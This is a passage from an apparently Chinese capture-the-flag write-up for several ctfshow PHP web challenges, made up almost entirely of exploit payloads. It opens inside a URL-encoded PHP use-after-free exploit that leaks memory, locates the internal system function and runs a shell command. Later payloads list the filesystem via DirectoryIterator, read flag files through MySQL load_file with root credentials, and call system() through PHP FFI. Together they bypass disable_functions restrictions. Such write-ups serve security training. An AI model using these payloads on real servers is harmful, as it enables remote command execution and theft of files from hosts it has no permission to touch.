20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E
# web75
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); |
看到 flag 在 flag36 里
又来。。但是 UAF 也不能用了
用数据库去读取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
# web77
上面的方法都 ban 了,使用 FFI
c=$ffi = FFI::cdef("int system(const char *command);"); | |
$a='/readflag > 1.txt'; | |
$ffi->system($a); |
再去访问 1.txt 即可